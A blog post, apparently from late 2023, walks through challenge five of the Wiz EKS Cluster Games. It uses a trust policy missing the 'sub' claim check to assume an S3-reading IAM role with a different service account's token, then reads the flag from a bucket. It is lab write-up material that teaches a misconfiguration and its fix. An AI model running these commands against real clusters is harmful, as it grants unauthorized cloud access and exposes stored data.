github rss
EKS Cluster Games: Challenge 5 (SPOILERS)
Nov 2, 2023
3 minutes read

This is a writeup of how I solved part five of the EKS Cluster Games. Huge thanks to Wiz for putting this together.

If you haven’t yet, you should start with challenges one, two, three, and four.

Challenge Five

In this level the clues contain some vital information. The flag we’re looking for is in an S3 bucket. There’s an IAM role with read access to this bucket and we can see the trust policy of this role is using IAM Roles for Service Accounts (IRSA).

Getting a Service Account Token

To access the role, we need a valid service account token, which is not trivial since this cluster does not have long lived ServiceAccount secrets enabled:

root@wiz-eks-challenge:~# kubectl get sa      
NAME          SECRETS   AGE
debug-sa      0         44h
default       0         44h
s3access-sa   0         44h

root@wiz-eks-challenge:~# kubectl get secrets
No resources found in challenge5 namespace.

We can find the role ARN of the role we want by looking at the annotations of the s3access-sa service account:

root@wiz-eks-challenge:~# kubectl get sa s3access-sa -o json | jq .metadata.annotations
{
  "eks.amazonaws.com/role-arn": "arn:aws:iam::688655246681:role/challengeEksS3Role"
}

We can try to fetch a short lived token using the TokenRequest API. We find that we can create a token for the debug-sa service account but not the s3access-sa one we need:

root@wiz-eks-challenge:~# kubectl create token s3access-sa
error: failed to create token: serviceaccounts "s3access-sa" is forbidden: User "system:node:challenge:ip-192-168-21-50.us-west-1.compute.internal" cannot create resource "serviceaccounts/token" in API group "" in the namespace "challenge5"

root@wiz-eks-challenge:~# kubectl create token debug-sa   
eyJhbGciO[...]

Inspecting the IAM Trust Policy

Something you may not have noticed right away is that the trust policy is missing an important check:

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": {
                "Federated": "arn:aws:iam::688655246681:oidc-provider/oidc.eks.us-west-1.amazonaws.com/id/C062C207C8F50DE4EC24A372FF60E589"
            },
            "Action": "sts:AssumeRoleWithWebIdentity",
            "Condition": {
                "StringEquals": {
                    "oidc.eks.us-west-1.amazonaws.com/id/C062C207C8F50DE4EC24A372FF60E589:aud": "sts.amazonaws.com"
                }
            }
        }
    ]
}

This trust policy should have an additional check on the subject (sub) claim of the Kubernetes token. It would look something like:

{
    [...]
    "oidc.eks.us-west-2.amazonaws.com/id/C062C207C8F50DE4EC24A372FF60E589:sub": "system:serviceaccount:challenge5:s3access-sa",
    [...]
}

Because this check is missing, we can actually assume the role with any service account on this cluster.

Assuming the Role with sts:AssumeRoleWithWebIdentity

Let’s try using the debug-sa service account token we were able to generate above:

root@wiz-eks-challenge:~# aws sts assume-role-with-web-identity --role-arn arn:aws:iam::688655246681:role/challengeEksS3Role --role-session-name foo --web-identity-token "$(kubectl create token debug-sa)"

An error occurred (InvalidIdentityToken) when calling the AssumeRoleWithWebIdentity operation: Incorrect token audience

The trust policy is correctly checking the audience (aud) claim, so we need to ask for the right value in our token:

root@wiz-eks-challenge:~# aws sts assume-role-with-web-identity --role-arn arn:aws:iam::688655246681:role/challengeEksS3Role --role-session-name foo --web-identity-token "$(kubectl create token debug-sa --audience sts.amazonaws.com)"
{
    "Credentials": {
        "AccessKeyId": "ASIA[...]",
        "SecretAccessKey": "[...]",
        "SessionToken": "[...]",
        "Expiration": "2023-11-02T17:38:38+00:00"
    },
    "SubjectFromWebIdentityToken": "system:serviceaccount:challenge5:debug-sa",
    "AssumedRoleUser": {
        "AssumedRoleId": "AROA2AVYNEVMZEZ2AFVYI:foo",
        "Arn": "arn:aws:sts::688655246681:assumed-role/challengeEksS3Role/foo"
    },
    "Provider": "arn:aws:iam::688655246681:oidc-provider/oidc.eks.us-west-1.amazonaws.com/id/C062C207C8F50DE4EC24A372FF60E589",
    "Audience": "sts.amazonaws.com"
}

Finding the Flag

The final step is to load these session credentials and use them to access the S3 object:

root@wiz-eks-challenge:~# JSON="$(aws sts assume-role-with-web-identity --role-arn arn:aws:iam::688655246681:role/challengeEksS3Role --role-session-name foo --web-identity-token "$(kubectl create token debug-sa --audience sts.amazonaws.com)" | jq .Credentials)"; export AWS_ACCESS_KEY_ID="$(echo "$JSON" | jq -r .AccessKeyId)"; export AWS_SECRET_ACCESS_KEY="$(echo "$JSON" | jq -r .SecretAccessKey)";export AWS_SESSION_TOKEN="$(echo "$JSON" | jq -r .SessionToken)";

root@wiz-eks-challenge:~# aws sts get-caller-identity
{
    "UserId": "AROA2AVYNEVMZEZ2AFVYI:foo",
    "Account": "688655246681",
    "Arn": "arn:aws:sts::688655246681:assumed-role/challengeEksS3Role/foo"
}

root@wiz-eks-challenge:~# aws s3 cp s3://challenge-flag-bucket-3ff1ae2/flag -
wiz_eks_challenge{🚩🚩🚩🚩🚩🚩🚩}

Back to posts